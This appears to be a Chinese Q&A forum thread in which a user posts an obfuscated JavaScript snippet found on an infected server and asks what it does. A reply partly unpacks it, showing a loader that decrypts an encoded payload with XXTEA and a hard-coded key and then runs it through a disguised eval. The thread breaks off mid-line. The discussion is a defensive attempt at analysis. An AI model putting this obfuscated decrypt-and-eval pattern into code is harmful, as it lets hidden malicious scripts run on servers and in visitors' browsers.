谁能解释一下这个脚本是什么意思

来源:百度知道 编辑:UC知道 时间:2024/06/07 03:44:40
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0=4(5(3(0),\'\\2\\1\\6\\d\\7\'));c["\\b\\a\\8\\9"](0);',14,14,'t|x75|x66|base64decode|utf8to16|xxtea_decrypt|x63|x31|x61|x6c|x76|x65|window|x6b'.split('|'),0,{}))

昨天服务器中毒了,查出这么一段代码,不懂,寻高人..... 分不够再加
我知道是毒,但不知道这段代码做了些什么工作
杀毒软件没任何提示
这段只是部分代码,还有好几个函数,由于太长,我无法全帖出来,这段是执行代码,应该是最关键的,寻高人指点

程序最基础最重要的东西,程序底层的一些基本的代码,因此称之为”脚本”.

eval是把后面语句生成的字符串当语句再执行一遍。

document.write(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0=4(5(3(0),\'\\2\\1\\6\\d\\7\'));c["\\b\\a\\8\\9"](0);',14,14,'t|x75|x66|base64decode|utf8to16|xxtea_decrypt|x63|x31|x61|x6c|x76|x65|window|x6b'.split('|'),0,{}))

得到:
t=utf8to16(xxtea_decrypt(base64decode(t),'\x66\x75\x63\x6b\x31'));window["\x65\x76\x61\x6c"](t);
==我再查查这些啥意思。
别的不知道了,把\转化为&#
t="\x66\x75\x63\x6b\x31 \x65